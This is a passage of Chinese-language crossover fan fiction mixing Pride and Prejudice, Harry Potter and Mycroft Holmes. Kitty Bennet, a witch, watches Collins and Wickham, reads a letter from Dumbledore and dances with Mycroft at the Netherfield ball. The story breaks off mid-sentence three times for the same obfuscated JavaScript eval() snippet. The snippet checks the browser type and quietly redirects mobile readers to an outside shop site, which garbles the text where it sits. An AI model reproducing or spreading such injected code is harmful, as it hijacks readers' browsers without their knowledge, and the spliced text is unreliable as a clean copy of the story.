她不用看也能猜出是谁,那种华丽堆砌、谄媚奉承的说话方式,除了那位远房表哥柯林斯,绝不会再有别人。 “Oh gosh!你终于回来了,凯蒂!你这一天都跑到哪里去了?” 班内特太太好不容易逮着一个还没被柯林斯荼毒过的女儿,甩着手帕,捂着脑袋就扑了过来。 她拽着凯瑟琳到偏厅里。班内特家其余的四个姐妹此时都坐在偏厅的椅子上,探着头在听客厅那边的说话声。 莉迪亚哀叹道:“这个表哥是我见过的话最多最谄媚的男人。” 玛丽幽幽道:“莉迪亚,你平时的话也不少。” “噢,妈妈,你听听玛丽说的!我说话哪里像这位表哥这般讨好奉承了?从他到朗博恩开始,我已经听到他提了德布尔夫人不下十次了!” 晚饭时,凯瑟琳全程装哑巴,围观了一番柯林斯表哥和伊丽莎白的嘴战。她完全被伊丽莎白的战斗力所折服,好几次都差点笑出声来。 班内特太太愁了一整个晚餐。直到晚些时候,听到柯林斯愿意娶伊丽莎白,心情才舒展开来。 接下来几天,伊丽莎白在白天时几乎找不到机会和其他姐妹说说话。因为柯林斯一直跟在她屁股后面团团转。 凯瑟琳好几次想要帮伊丽莎白解围,都被班内特太太及时制止。 “妈妈,你不能这样逼莉兹嫁给一个她不爱的男人。” 班内特太太只是将凯瑟琳从伊丽莎白身边拉开,神情中带着几分少见的认真,低声叹道: “婚姻里可不只是爱情这件事,凯蒂。等到将来,我和你们的父亲都不在了,至少我希望你们几个当中,还有一个能留在朗博恩。哪怕不是为了自己,也是为了能庇护其他姐妹,有个去处和依靠。” 18.第 18 章 临近尼日斐花园舞会的时候,莉迪亚提议到梅里顿去逛逛,她想要去看看刚上市的新款礼裙。 除了玛丽想要在家练琴,几个姐妹都愿意和她同行,并非因为她们真的对礼裙有多大兴趣,而是因为这五天来,全家人都被柯林斯烦得几乎神经衰弱。 自他抵达朗博恩起,每一个清晨的早餐前,众人都要被迫聆听他那冗长的晨祷,以及祷告之后,对德布尔夫人慷慨恩典的连番颂扬。 白天的大多数时候,最烦他的人还是伊丽莎白;而夜晚的餐桌,则又成了他演讲的讲坛,用餐的人无一不是他的观众。 短短五日,连一向最爱喧闹的莉迪亚都安静了许多。 班内特先生讲冷幽默的耐心,早被柯林斯的迟钝耗尽,因为他的讽刺,智商和情商都不足的对方从未能领会半分。 全家人里,唯一还能对柯林斯露出笑脸的,只剩下班内特太太。 她最初也嫌他聒噪和讨厌,但在得知这位表哥打算娶伊丽莎白为妻后,她的态度便立刻发生了大转变。毕竟,能让朗博恩留在女儿手里的姻缘,在她眼中,无论如何都是上天的眷顾。 就连步行前往梅里顿的路上,柯林斯都缠在伊丽莎白的身边夸夸其谈个不停。 凯瑟琳走在前头,忍不住回头望了一眼,恰好与伊丽莎白的目光对上,那眼神里藏着深深的无奈与疲惫。 凯瑟琳忍俊不禁,悄悄做了个“SORRY”的口型,伊丽莎白只得抬手掩面。 “德布尔夫人是一个慷慨而又富有同情心的高贵女士。她的罗辛斯庄园在装潢上堪称完美,处处都展现出她非凡的艺术品味与卓越的判断力……” 柯林斯依旧喋喋不休,他完全没注意到两姐妹之间的小动作,只顾沉醉在自己那一串又一串的溢美之辞中。 等到了梅里顿的时装店,伊丽莎白终于能以挑选服饰为借口甩开柯林斯。 她深深地吐了一口气,将半个身子依靠在凯瑟琳的身上,仿佛和柯林斯一起步行的这几十分钟里已经要了她半条命,整个人一副生无可恋的模样。 “天哪,凯蒂,我觉得我这一路上至少死过三次。” 凯瑟琳一边低头对比着手中两条不同的丝带,一边笑着道:“辛苦你了,莉兹。” 伊丽莎白双眸无光地望着她挑丝带的手,声音虚弱:“让我在你这儿歇一口气吧,凯蒂。” “歇吧,一旦跨出店门,他又会像幽灵一样缠上来了。”凯瑟琳的话直白得毫不客气。 “噢,不!”伊丽莎白几乎要哀鸣出声,“他到底要在朗博恩待到什么时候?他有和爸爸说过离开的日期吗?” “我不知道,莉兹。”凯瑟琳在黄色和蓝色的丝带之间犹豫片刻,最终还是挑了蓝色——一点拉文克劳的血统在作祟。 “不过,我得提醒你,恐怕这位表哥对你的热情,是因为他的目的不纯。” 伊丽莎白立刻瞪大了眼睛,满脸写着“我拒绝听”的绝望表情。 “你最好不是在暗示他想向我求婚,凯蒂。我会杀了你的。” 凯瑟琳一脸无辜:“你杀了我也无法改变他的想法,莉兹。实际上,他越快向你求婚越好。只要他说出来,你就有正当的理由拒绝他了,不是吗?” 她扶正伊丽莎白的身体,笑着道:“好了,我去结账。你去找简,或许能得到些温柔的安慰。” 伊丽莎白翻了个白眼,拖着步子去找简。 而不论她有没有得到安慰,事实证明,凯瑟琳的话一点没错。她们刚一踏出时装店,柯林斯那惹人生厌的嗓音便如鬼魅般再次响起。 几人沿着街道慢慢步行,偶尔停下脚步,看看橱窗里那些色彩鲜艳的礼帽与精致的裙子。 莉迪亚挽着凯瑟琳的手,兴致勃勃地叽叽喳喳,不经意一瞥,忽然低呼:“丹尼先生?” 凯瑟琳顺着她的视线望去,只见街角一位红制服正与另一位穿着便服的容貌英俊的年轻绅士并肩而行。 “谁是丹尼先生?” 莉迪亚眼睛亮晶晶的:“就是那位穿红制服的。上次你们在尼日斐花园留宿时,我和妈妈来梅里顿拜访姨妈,认识了几位民兵团的先生,那位丹尼先生是其中之一。旁边这位我没见过,不过,他可真是太帅气了。” 这下凯瑟琳算是想起来了,这不就是傲慢与偏见中唯一算得上是“反派”的人物嘛。 丹尼先生显然也认出了莉迪亚,笑着带着同伴上前打招呼。 莉迪亚虽然对红制服和军官们不那么热衷了,但骨子里依旧对英俊的绅士没有抵抗力,自然很乐意和他们攀谈起来。 莉迪亚语气热络:“丹尼先生,好久不见!” 她转身介绍道:“这是我的姐妹们,大姐姐简,二姐姐伊丽莎白,三姐姐今天没来,这位是四姐姐凯瑟琳。” 说到这里,她的声音略微一滞,才有些不情愿地补上:“还有我们的远房表哥——柯林斯先生。” 丹尼先生笑着寒暄,又热情地介绍了身边的朋友:“这位是威克汉姆先生,他即将加入梅里顿驻防的民兵团,担任我们团里的军官。” 威克汉姆彬彬有礼地微笑颔首。阳光透过街头的橱窗,落在他那双淡色的眼眸上。 而在场的所有人中,只有凯瑟琳注意到,伊丽莎白的表情在和威克汉姆对上目光的那一刻有了变化。 Oh no!他俩看对眼了! 凯瑟琳下意识地扫视了一圈周围,不出意外地在街道尽头看到了三位骑着马的男士,正在朝着他们过来。 宾利在瞧见简时,立刻加快了速度,笑意灿烂。他在马上俯身,声音里满是热切的诚意:“班内特小姐们,你们好。” “宾利先生,达西先生,福尔摩斯先生。” 简依旧温婉,也尽责地向三位绅士介绍了柯林斯。至于两位军官…… 凯瑟琳的目光在达西与威克汉姆之间一掠,果不其然,两人的表情都瞬间沉了下去。达西只是敷衍地点了个头,转身调马而去。 麦克罗夫特也注意到了这两位之间微妙的气氛,他那双锐利的灰色眼睛上下打量了一番威克汉姆,不过几秒,心中就有了大致的结论。 宾利与简有十日未见面,他很想再多留一会儿,和简说说话。但在看到达西离开后,自知也不便多留,只得拉着缰绳与简道了别。 麦克罗夫特是最后跟上两位同行者的,他在离开前扫视了一眼柯林斯,又与凯瑟琳目光短暂相接,神情若有若无,颔首致意后策马离开。 此后几日,凯瑟琳一有空闲便溜去树屋里,一呆就是一整天。 她的猫头鹰木兰也从朗博恩的花园里搬来了树屋,正式调任为“看门鹰”。凯瑟琳给木兰在树屋外的橡树枝丫上也做了一个小小的房子,偶尔能听见木兰用喙轻敲木窗的声音。 她的特制版复方汤剂最近遇到了瓶颈。手边的几本魔药笔记几乎都翻得卷了边,新的配方思路迟迟未能成形。 思绪越乱,瓶中的魔药颜色就越诡异,在可能的爆炸来临前,凯瑟琳决定先停下手里的活儿。 可巧妇难为无米之炊。她需要新的资料,需要一些灵感的火花。 她编了个冠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598566|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冕堂皇的理由,说是伦敦的一位贵族小姐校友邀请她参加下午茶话会。班内特太太虽然有些犹豫,还是在反复叮嘱她务必赶在尼日斐花园舞会前回家后,点头放行。 凯瑟琳于是踏上了前往伦敦的马车,在半日的路程后,来到了熟悉的破釜酒吧。 破釜酒吧的空气里混着陈酒与灰尘的味道,她推开暗门,走进熟悉的对角巷,先去兑换了些加隆,又在丽痕书店里泡了大半个下午。 她花重金买了几本厚重的魔药学与变形咒专著,才恋恋不舍地离开了丽痕书店。 夜色降临时,她在伦敦的舅舅舅母家借宿。翌日中午,又匆匆坐上顺道的邮车,带着新购的书籍,赶回了梅里顿。 回家后,她写了一封信给邓布利多,询问关于变形咒的理论细节。 木兰把信叼走时,她还以为能在两天内收到邓布利多的回信。毕竟,邓布利多的回信速度一直都很快。 可这一次,三四天过去,凯瑟琳依旧没有见到任何来送信的猫头鹰出现在树屋外。 直到第五天清晨,凯瑟琳才在一只从未见过的猫头鹰脚上,发现那封迟来的回信。 *** 亲爱的凯瑟琳: 你的来信我已仔细拜读。你所提到的“局部性长期变形”,确实与一般意义上的变形术有所不同。它介于幻身术与高阶自体变形之间,想要长时间维持效果…… ……因此,我建议你在尝试此类变形时,可以借助复方汤剂或部分幻身药剂作为媒介,再辅以魔咒微调外观细节,例如骨骼线条、喉结形态或体毛分布。如此一来,既可保持自然的体征变化,又能避免魔力长时间的消耗。 至于你在信中提到的女扮男装计划,以另一种身份进入麻瓜大学学习一事,对此我感到无比的好奇与兴奋。待你入学之后,务必写信与我分享那些新奇的麻瓜大学趣闻。 最后,请原谅我迟来的回信,近日我的家庭与生活发生了许多猝不及防的变故。不过,无需为我担忧,我一切安好,只是事务繁多。 我与之前曾在信中提及的朋友格林德沃,在理念上产生了一些分歧。我们都太年轻,也都太急切地想要改变世界。如今,我选择暂时离开争论,回到更宁静的生活中。 请你保重自己,凯蒂。学习魔法的同时,也要学会不被魔法吞噬。 若你有新的研究进展,或是任何麻瓜大学的趣事,我将十分期待你的来信。 你忠诚的朋友, 阿不思·邓布利多 *** 凯瑟琳阅读完邓布利多的回信,沉默着放下了信纸。 她大概知道邓布利多所说的“猝不及防的变故”是什么。 这位未来百年最伟大的巫师,在人生的早期阶段实际上经历着一连串能将任何人彻底击垮的痛苦。 邓布利多的伟大在于,在最初的迷狂与失误之后,仍然选择了克制与自省。 犹豫再三,她终究没有给邓布利多回信。 她不认为此时的他需要来自远方朋友一封信的安慰。再真挚的文字,也未免显得苍白无力。 或许,等她进入大学之后,再写信告诉这位可爱的朋友一些麻瓜世界的趣闻轶事,会更好一些。 在凯瑟琳日日待在树屋的这段时间里,和她一样不着家的,还有伊丽莎白。 只是后者是为了逃避柯林斯先生的殷勤,同时,也为了在梅里顿与威克汉姆偶遇。 时间就这样悄悄溜走。 在梅里顿相遇的第七天后,在冬季来临之前,尼日斐花园的舞会终于如约而至。 19.第 19 章 班内特太太坚信尼日斐花园的舞会是为简举办的,因此格外重视简的打扮,她几乎没有时间去指点其他女儿们的妆造。 这倒是让凯瑟琳松了一口气,因为她又打算用魔杖盘发,但若是班内特太太插手她的发型,她的偷懒是绝对不可能实现的。 不过,为了防止母亲多嘴,她还是稍微做了些掩饰。把魔杖上的缠花换成了早上刚在花园里捡到的三片漂亮的金黄落叶。 搭配那条缀有金色橄榄叶刺绣的白色蕾丝绸缎礼裙,以及同样以橄榄叶为饰的金色项链,整个人倒有几分新古典主义的光彩。 上次是戴花,这次是穿叶。 即便班内特太太再挑剔,也不能说她没有为这场舞会花心思。 入场后,凯瑟琳便没有和几个姐妹走在一起。 简早早被宾利先生预约了;伊丽莎白进门与简分开后就在大厅四处张望,显然是在寻找威克汉姆的身影,稍后她还得应付柯林斯与达西的邀舞,根本没空顾旁人。 至于玛丽和莉迪亚,她们在舞会上都有各自的主场,一个在钢琴旁,另一个在人群中央。 凯瑟琳今天的主线任务只有一个,那就是紧盯着来意不明的福尔摩斯先生。 自从上回和加雷斯谈过之后,凯瑟琳认真分析了一番。 她不认为福尔摩斯先生明确知道巫师、魔法和魔法界,但他一定收到了某种间接的暗示。否则,他为何偏偏会出现在梅里顿这样一个远离权势与谣言的小乡镇?还多次有试探性的语言和行动。 前几日去伦敦的邮车上,她与车夫攀谈了几句,探听出了尼日斐花园的住客确实在近期时常前往梅里顿。邮车车夫说他好几次在路上碰到尼日斐花园的马车,有时是三位绅士打马而过。 等她再问车夫有没有听说他们去梅里顿做什么时,车夫就摇头表示不知道了。 如果是来探查上回梅里顿舞会的魔法事件,那一切就都解释得通了。 按照魔法界的规定,麻瓜首相受誓约性保密咒约束,是绝不能向任何人泄露魔法世界存在的。 但魔法不是万能的,麻瓜首相很有可能间接性或在不经意间无心泄密—— 一些只言片语、态度变化,或某次会谈中流露出的微妙举动,已经足以让聪明人起疑。 魔咒百年来都没有出现过纰漏,并不意味着它永远不会。 倘若麻瓜政府确实怀疑了什么,却又拿不出证据,此时若大张旗鼓派遣大批人马前来调查,只会引起魔法部的警觉,甚至被视作挑衅。 因此,最聪明的做法,莫过于由麻瓜首相亲自委派可信的属下,以私人身份暗访此地。 凯瑟琳的目光顺着舞厅里的人群移动,最终停在那位身穿黑色礼服,戴着金色领结,正端着空酒杯注视着人群的福尔摩斯先生身上。 麦克罗夫特与达西一道,与几位本地的乡绅爵士寒暄片刻后,便独自穿过人群,寻了一处相对安静的角落站定。 从这个角度望去,几乎能将全场的情形尽收眼底。 正合他意,他一向偏爱这样的立场,像个旁观者般,静静观察众生的言笑举止。 他接过侍从递来的香槟,抿了一口。 随后便开始给自己找乐子,不厌其烦地将每一个入场的宾客都推演一遍。 每当遇上几个“有意思”的人,被他看出些隐藏的秘密或破绽时,他便心情颇好地奖赏自己,再抿一口香槟。 不一会儿,香槟杯就见了底。 他略有遗憾地垂眸,打量那空空的酒杯,心中权衡着是否该去续杯。 毕竟,还有至少一半的宾客尚未入场。 他在心里迅速计算了一下刚才饮下的量,大约是自己醉酒量的五分之一。 麦克罗夫特深知自己酒量有限,虽然自信即便喝醉也绝不会失态。但此刻毕竟是在他人家中赴宴,舞会方才开场,还是不宜过分放纵。 他的目光再一次转移回人群中。 不过这一次,要入场的人尚未见其身影,便先闻其声。 班内特太太那清亮而充满热情的嗓音,正与在门口迎宾的宾利一家寒暄。 ……一百二十六秒、一百二十七秒、一百二十八秒,终于进来了。 班内特一家与主人家的寒暄时间,足足比其他人多出至少五十秒。 先进门的是班内特夫妇,而后是简和伊丽莎白,玛丽和莉迪亚几乎在进门的一瞬间就迫不及待地改变了前进的方向。 凯瑟琳是全家最后一个进门的。 麦克罗夫特的目光,精准地锁定在她身上。 他看着凯瑟琳进门后就与姐妹们分开,独自一人在门口附近徘徊了一圈,眼神移动间似乎在寻找什么人。 麦克罗夫特暗笑一声,他几乎不需要推演就能知道,这位凯瑟琳小姐是在找他。 想来对方早就已经猜到了他来尼日斐花园的目的了。 麦克罗夫特忽然起了玩心,想要看看凯瑟琳需要多久才能找到自己在哪里。 然而才数到第三秒,那双绿色的眼眸便隔着人群,直直对上了他的视线。 速度快得惊人,快到麦克罗夫特来不及收敛起眼底玩味的笑意。 她的双眼微微眯起,目光得像两道冰刃,竟让他后背生出一丝刺骨凉意。 啊,被对方看出来自己在看她的笑话了。 麦克罗夫特有那么一瞬的苦恼,但很快就无暇顾及。 因为凯瑟琳已径直穿过人群,步伐稳健从容,直奔他而来。 麦克罗夫特鲜少与女士有过如此近距离的交锋,这确实是他第一次遇到这么……进击的小姐,让他少见地有片刻的不知所措。 “你好啊,福尔摩斯先生。” 凯瑟琳的目光落在了麦克罗夫特的金色领结上,表情顿了顿。 麦克罗夫特捕捉到了那一瞬的停留,也随即垂眼,淡淡扫了一眼凯瑟琳修长脖颈上的金色橄榄叶项链。 嘿,真是巧合。 “你好,凯瑟琳小姐。”麦克罗夫特神情一派镇定。 “福尔摩斯先生今晚有跳舞的兴致吗?我倒是十分期待今晚能舞个痛快呢。” 凯瑟琳面无表情,换了旁人怕是一点儿也看不出她正在暗示一位绅士邀请自己跳舞。 好直接,好有攻击性。 在她的脸上,根本看不出一丝属于年轻小姐的羞怯与腼腆。 若不是知道自己正在被邀舞,麦克罗夫特还以为,面前这位身高才堪堪到自己肩膀的小姐,是在跟他邀架。 “今夜的舞会如此隆重盛大,不进入舞池一定会是一个巨大的损失。鄙人不常参加舞会,舞技平平。如若凯瑟琳小姐不嫌弃,能否与我共舞今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602946|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜的前两支舞?” 凯瑟琳爽快地点头:“可以。” 麦克罗夫特:“……” 他竟有种莫名的感觉,仿佛自己得到了她的恩赐,却又说不清这感觉究竟古怪在哪里。 凯瑟琳懒得将丝带解开又绑上,便把系在左腕上的舞卡放在掌心里,举到麦克罗夫特面前,再递给他一支小巧的铅笔。 “签名。” 麦克罗夫特:“……” 那种感觉更强烈了。 他清了清嗓子,将手里的空酒杯放下。 接过凯瑟琳手里的铅笔时,两人的手指隔着她的缎面礼服手套短暂接触,麦克罗夫特只觉指尖触感冰凉而顺滑。 当他写下第一个“M”时,笔尖用力稍重,凯瑟琳的掌心没托稳,轻轻抖了一下。 麦克罗夫特停笔,叹了口气。 凯瑟琳以为他嫌自己没力气,便将右手叠在左手下,抬眼示意他继续。 麦克罗夫特挑眉,低声道:“失礼了。” 说罢,他抬起另一只手,掌心朝上放在凯瑟琳叠放的双手下,一掌就握住了她的两只手,将其微微托高几厘米。 凯瑟琳:“……” 这是嫌她没力气还嫌她矮呗。 她在心里恶狠狠地发誓,将来女扮男装的时候,一定要把自己的身高拔高到至少一米八五! 很快,原本空白的舞卡上多了两个笔锋潇洒、出自同一人之手的签名。 凯瑟琳满意地端详片刻,接回铅笔,却没重新将其绑回舞卡,而是随手放在了旁边的酒水桌上。 麦克罗夫特看着那支被丢在自己空酒杯旁的铅笔,心想这位小姐真是有趣得紧。 “凯瑟琳小姐,你今晚只打算和我一个人跳舞吗?” “我原以为你是一个谦逊的绅士,福尔摩斯先生。” “铅笔或舞卡弄丢,确实算得上一个得体的拒绝理由。” “福尔摩斯先生,你没有被女士拒绝过吗?” “虽然这么说可能让你更加确信我是个自恋的男人——但,是的,凯瑟琳小姐。” “是因为你很少参加舞会吗?” “我想这确实是主要原因。” “你是一位聪明的绅士,福尔摩斯先生。” “而你是一位聪明的女士,凯瑟琳小姐。” “噗!” 好没营养的商业互吹。 凯瑟琳笑出了声,这还是她今晚到现在为止笑得最恣意的一次。 麦克罗夫特看着她因为笑意而泛着水光的绿色眼睛,忍不住也跟着笑了起来。 半晌后,麦克罗夫特仍觉得她方才丢铅笔拒舞的举动实在好笑,“凯瑟琳小姐,你不是说了今晚想要舞个痛快吗?” “怎么?福尔摩斯先生,我不能只跟你舞个痛快吗?” 麦克罗夫特叹了口气:“我只是以为,你或许不希望班内特太太将太多注意力放在我们身上。” 凯瑟琳耸耸肩膀:“我无所谓,反正不是你,也会有别的单身男士被她拉郎配给我。” “恐怕鄙人的舞技与体力,都不足以满足你‘舞个痛快’的愿望,凯瑟琳小姐。” “福尔摩斯先生,请别这么说,be a man!” 麦克罗夫特:“……” 好直接,好有攻击性。 20.第 20 章 在舞会正式开始前,凯瑟琳并没有一直和麦克罗夫特待在一处。 虽然她嘴上说着不在意班内特太太会怎么想,但她仍能想象,若真从头到尾都与麦克罗夫特形影不离,明天一早班内特太太就能笑盈盈地将她顺理成章地送进尼日斐花园,亲自去暗示对方向自己女儿求婚。 想到这里,凯瑟琳暗暗叹了口气。 她还没想出一个合适的理由,让班内特太太同意自己离家四年。 实际上,家里最好说话的反而是班内特先生。凯瑟琳几乎可以肯定,哪怕她直接告诉父亲,自己要离开家去上大学,班内特先生在惊讶片刻后,也只会懒洋洋地答应一声,然后帮她保密到底。 这小老头儿虽然算不上一个合格的丈夫和父亲,却确实是个对女儿们足够宽容的人。 凯瑟琳叉起一块海盐柠檬小蛋糕放入口中。尼日斐花园的厨师果然名不虚传,听说是宾利特地从巴黎请来的甜品师。 那小蛋糕不过拇指大小,入口却是惊喜。奶油绵密柔滑,海盐浅浅的咸味衬出柠檬的清香,恰到好处的甜度盖过酸意,却仍留着一抹果香的明亮。一口下去仿佛人在意大利卡普里岛的柠檬树下吹着海风。 太好吃了,凯瑟琳又悄悄往嘴里塞了一块。 伊丽莎白拉开她身旁的椅子坐下,看见她面前的香槟还未动过,直接伸手拿起,一口饮尽。 凯瑟琳咽下蛋糕,看着伊丽莎白那张写满不甘心的脸,安慰道:“别生气了,莉兹,慢点喝。” “威克汉姆先生一定是不愿和达西先生正面冲突才没来。这都是因为达西先生是一个不正直且小心眼的男士。” “我还以为你是因为要和柯林斯先生跳前两支舞才烦恼的。” “Oh no!”伊丽莎白苦痛地呻#吟,“请不要提醒我第二件让我难受的事情了,凯蒂。威克汉姆先生和达西先生的事情已经足够让我苦恼了。” 凯瑟琳又叉起一块小蛋糕,愿闻其详:“噢?怎么说?” 前几日凯瑟琳不常在家,伊丽莎白只与简提过威克汉姆和达西的旧事。她原本不打算再对别人提起,但今晚威克汉姆的缺席让她心里窝着气,几乎到了不吐不快的地步。 听完伊丽莎白的转述后,凯瑟琳没有立刻作声。 她只是拿起一旁的柠檬水,喝了一大口,将口腔里的甜与酸冲淡,才慢悠悠地道:“如果威克汉姆先生真是一位绅士,他就不该对一位才见过一面的女士谈论过往隐私,尤其那还涉及另一位男士。 这种行为,与背后议人小话并无分别。他已经是成年人了,理应懂得浅交不言深的道理。你有没有想过,莉兹,他为什么愿意把这些秘辛告诉你?” 伊丽莎白皱眉道:“也许因为我们一见如故吧。” 凯瑟琳撇撇嘴,语气带着一丝不以为然:“那就更说明问题了。一个男人接近女人,无非是贪图两样东西——女人的青春美丽或女人的金钱物质。” “凯蒂,这样的说法太极端了。”伊丽莎白反驳道,“一位绅士接近一位淑女,也可能是因为爱情。” “好吧,那我们假设威克汉姆先生接近你是为了爱情,那他为什么要提到达西先生这个第三者?让我符合逻辑地猜一猜,他不过是因为想要通过说一些共同认识的人的坏话,来最快速拉进和你的距离。 噢,他顺便还能在你面前卖卖惨,说自己是怎么被欺负被辜负的,如果你对他起了同情心,那更好啦。这意味着他在你心里已经是一个可怜的弱者形象,等你对他生出几分怜惜,再添上一点爱意……说不定能给他一些好处,比如钱,来帮他渡过未来可能会面临的难关。” 她轻轻晃动杯中的气泡,给了这段话一个总结: “真是个精明的男士啊,威克汉姆先生。” 伊丽莎白被这一番话说得哑口无言,但脑海中仍不受控制地浮现出威克汉姆那张悲伤却强作坚毅的英俊面孔。她咬了咬唇,还是忍不住辩驳:“可、可是……” 凯瑟琳却不打算再为一个人渣浪费口水,打断道:“想想吧,莉兹。如果威克汉姆先生真是占理的一方,他又何必避而不见?若是堂堂正正的绅士,就该有底气出现在这里,来和你共舞。而不是听说达西先生也在场,就找借口不来。” 话音刚落,宾利先生举着酒杯上前说了几句感谢的客套话,钢琴边的乐手们也已就位。 乐声未起,气氛已渐渐沸腾,昭示着今晚的第一支舞即将开始。 凯瑟琳站起身,目光一转,便在人群中看见了麦克罗夫特的身影。 不是她眼神好,而是在人群中,只有他和达西的身高格外显眼。 她轻拍伊丽莎白的肩膀,笑道:“去跳舞吧,莉兹。别为不值得的男人浪费时间。” 麦克罗夫特回头正要寻找自己的舞伴,却发现舞伴已经自己走过来了。 那双灰色的眼睛闪过一丝狡黠,唇角不易察觉地扬起:“你看起来真的很想跳舞,凯瑟琳小姐。” 若非知晓她是带着目的来的,旁人只会以为这位小姐急着想与他共舞。 凯瑟琳神色自若地瞎说:“刚才吃多了,早点起身活动活动。” 她挽上他的手臂,两人一同走进舞池。 行走途中,一股淡淡的清甜香气在两人之间若有若无地荡开。麦克罗夫特侧首瞥她一眼,语气笃定:“五个海盐柠檬小蛋糕?” 凯瑟琳:“……?” 难道是她嘴角还是衣服上沾了奶油或者蛋糕屑? 她下意识低头看了一眼裙子,干干净净;又舔了舔嘴角,除了柠檬与奶油的余味,什么都没有。 “我只吃了三个。”她困惑地抬眼。 麦克罗夫特轻描淡写地说些废话:“女士的胃口总是小得令人惊讶。” 凯瑟琳:“福尔摩斯先生,蛋糕吃多了总是会腻的。哪怕是向你这样高大魁梧的绅士,也无法一口气吃下三十个甜腻腻的小蛋糕。” “那蛋糕很小,凯瑟琳小姐。” 确实很小,就拇指大小,一口一个,不会弄花妆容,非常方便舞会上的女士们食用。 凯瑟琳:“那蛋糕是你选的?” “鄙人只是在甜品师为今夜舞会选择甜品时,提供了一点微不足道的建议。”他顿了顿,又若有深意地补充,“这种尺寸的蛋糕,我确实能吃下三十个,凯瑟琳小姐。” 凯瑟琳沉默,她一时间分不清是该夸他美食品味好,还是该夸他食量惊人。 幸而此时,第一支舞曲响起,乐声掩去了微妙的沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608402|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默。 这支舞的开头是一连串复杂的交换舞步,不适合交谈。 凯瑟琳垂眸,心里暗暗打着节拍,等到那一段繁复的走位终于过去,她再度回到了麦克罗夫特的对面。 终于到了能靠近一点的部分。 她右手轻轻搭上麦克罗夫特的掌心,左手落在他宽阔的肩头。 “福尔摩斯先生,可以说点什么了——” 分开。 凯瑟琳:“……” 这舞蹈走位但凡是老年痴呆一点都跳不下来。 再度靠近。 麦克罗夫特的左手落在她的腰后,掌心的温度透过薄薄的绸缎礼服传来。 他微微低下头,声音低沉而清晰:“那你想说什么,凯瑟琳小姐?” 逆光里,他的灰色眼睛深得看不见底。 这在谈话和试探的过程中,对凯瑟琳来说可算不上是一个有利的姿态,她无法清楚地观察对方的反应。 麦克罗夫特的舞技没有他自称的那般平平,至少他到目前为止没有踩过她的脚。这已经足够让凯瑟琳感到满意。 “你的舞技并不差,福尔摩斯先生。” “谢谢你毫不吝啬的夸奖,凯瑟琳小姐。这只是最基本的社交技能。” “到现在为止,你还没踩过我的脚。” “如果这就是你衡量舞技的标准,我想在场的男士们大多都能合格。” “那可不一定,你看——”凯瑟琳侧头,视线掠向舞池另一端,嘴角微微一弯,“我的表哥柯林斯先生,显然就不是一位合格的舞者。” 麦克罗夫特顺着她的目光望去,正好看到柯林斯一脚踩在伊丽莎白的裙摆上。 他轻笑出声:“那么我是否该恭喜你,凯瑟琳小姐?” “恭喜我什么?” “恭喜你没有获得这位表哥的倾慕。” 凯瑟琳挑眉,语气里透着惊讶:“你怎么知道的?” “观察而已。”他声音平淡,仿佛在陈述天气。 “那天在梅里顿相遇时,他是一副牧师的打扮。今天再看,他显然来自一个收入有限的中产家庭,衣料讲究但质地普通,领结打得太紧,说明他试图掩饰剪裁不合的西装。一位年轻单身、收入有限的牧师,不会无缘无故出现在朗博恩,还能够和几位班内特小姐同行。” “朗博恩庄园不出意外应该是限定继承的不动产,而班内特夫妇只有你们五个女儿。那么他们的不动产就需要有一个男性继承人——你的表哥,就很合适。他是个牧师,有着还算仁慈的心,得到了班内特先生的财产,不可能完全心安理得。因此娶一位班内特小姐以示仁慈,就成了最合理的选择。” “这两次见他,他都在伊丽莎白小姐身边徘徊。很显然,他看上的是伊丽莎白小姐。可惜伊丽莎白小姐恐怕已经心有所属,就是那天在梅里顿街上,两位军官里穿便服的那一位。” “而那位军官先生恐怕和达西先生有不小的矛盾,这也是他今晚没有出席舞会的原因。他是过错方,不敢直面达西先生。而伊丽莎白小姐,此时应该正在为这些事情而苦恼。不仅仅是柯林斯先生踩了她的脚,她至少也回敬了柯林斯先生三次。” 凯瑟琳吹了个口哨:“哇喔,bravo!” 21.第 21 章 麦克罗夫特微笑着接受了凯瑟琳的捧场。 此时,舞曲进入第二部分,节奏渐快。两人再次陷入短暂的沉默,各自专注于复杂的舞步。 又是一组分开再靠近的走位。 这次是麦克罗夫特先开口。 “我很好奇,上一次在梅里顿的舞会,你都和哪些单身男士共舞了,凯瑟琳小姐?” 一个旋转的舞步后,凯瑟琳倾身向前,手搭在对方的肩膀上。麦克罗夫特扶在她腰后的手不着痕迹地收紧了几分,防止她转圈后的脚步失衡。 一时间,两人面对面靠得极近,近到鼻尖几乎要碰在一起。 “好几位,记不清了。” 